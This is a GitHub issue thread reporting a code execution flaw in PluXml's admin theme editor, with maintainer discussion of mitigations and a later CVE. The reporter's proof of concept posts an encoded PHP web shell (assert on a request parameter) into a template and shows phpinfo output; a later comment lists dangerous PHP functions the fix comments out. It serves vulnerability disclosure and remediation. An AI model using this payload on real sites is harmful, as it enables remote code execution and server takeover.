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## An issue in the theme edit function #320

Closed jadacheng opened this issue on Feb 17, 2019 · 7 comments

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jadacheng commented on Feb 17, 2019

The theme edit function /PluXml/core/admin/parametres\_edittpl.php allows remote attackers to execute arbitrary PHP code by placing this code into a template.

Poc:

/PluXml/core/admin/parametres\_edittpl.php

[POST] token=603b37bed4a91d8b18a3507c46ae27df644a2ff4&amp;template=%2Ftags.php&amp;submit=Save+the+file&amp;tpl=%2Ftags.php&amp;content=%3C%3Fphp+assert%28%24\_REQUEST%5B%27c%27%5D%29%3B%3F%3E%0A

localhost/PluXml/core/admin/parametres\_edittpl.php

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### Theme edit «default»

Download themes at [ressources.pluxml.org](https://ressources.pluxml.org).

install.php file can still be found at your PluXml root.  
For security reasons, it is strongly recommended to delete it.

Content :

then visit /PluXml/themes/default/tags.php?c=phpinfo();

localhost/PluXml/themes/default/tags.php?c=phpinfo()

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### PHP Version 5.6.27



System	Windows NT DESKTOP-VJHVD8Q 10.0 build 17134 (Windows 10) i586
Build Date	Oct 14 2016 10:15:39
Compiler	MSVC11 (Visual C++ 2012)
Architecture	x86
Configure Command	cscrip /nologo configure.js --enable-snapshot-build --enable-debug-pack --disable-zts --disable-isapi --disable-nsapi --without-mssql --without-pdo-mssql --without-pi3web --with-pdo-oci=c:\php-sdk\oracle\x86\instantclient_12_1\sdk,shared --with-oci8-12c=c:\php-sdk\oracle\x86\instantclient_12_1\sdk,shared --with-enchant=shared --enable-object-out-dir=.\obj/ --enable-com-dotnet=shared --with-mcrypt=static --without-analyzer --with-pgo
Server API	CGI/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	C:\WINDOWS
Loaded Configuration File	F:\phpStudy\PHPTutorial\php\php-5.6.27-nts\php.ini

Loup1n commented on Feb 26, 2019

Collaborator

Hello,  
I confirm this vulnerability. What's your recommendation ? Using an XSS filter ?  
Thanks for help.

Loup1n self-assigned this on Feb 26, 2019

Loup1n added the bug label on Feb 26, 2019

bazooka07 commented on Mar 1, 2019

Contributor

You can disable the assert evaluation in php.ini.  
I have Ubuntu Bionic 18.04.2 and your code does not work.  
Display phpinfo and look for assert. I have "zend.assertions" equals -1 for local and global values.

jerrywham commented on Mar 3, 2019

Contributor

```
assert_options(ASSERT_ACTIVE,false);
```

dans le début du fichier index.php ?

jerrywham commented on May 6, 2019

Contributor

Des news ?

jadacheng commented on May 6, 2019

Author

In fact, I think it's not a good idea for webadmin to be able to edit .php file directly.  
Filtering is never enough  
If you really need this feature.  
Ignore this problem  
or  
verify that webadmin is a system administrator.

setharnold commented on Oct 2, 2020

Hello, it appears [CVE-2020-18184](#) has been assigned to this issue. However, the documentation seems to include a lot of instructions for how to execute arbitrary code in themes:


Le moteur de plugin de PluXml repose sur un système de hooks (« crochets » en français) permettant d'injecter du code php, html, javascript dans celui de PluXml.

<https://wiki.pluxml.org/developper/developpement/>

The examples even make extensive use of `eval`, which suggests to me that the feature is intended to allow administrators to execute anything they want any time they want.

Is this working as intended?

Thanks

 bazooka07 self-assigned this 4 days ago


bazooka07 commented 4 days ago

Contributor

A new function `plxUtils::sanitizePhp` is added to PluXml  
The value for content field is checked with this function.  
It comments critical functions in PHP script like : `fsockopen`, `proc_open`, `system`, `exec`, `chroot`, `shell_exec`, `socket`  
See PR#589

Of course, it's better to disable these critical function in php.ini.



 bazooka07 closed this as completed 4 days ago

#### Assignees

 Loup1n

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#### Labels

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#### Projects

None yet

#### Milestone

No milestone

#### Development

No branches or pull requests

5 participants

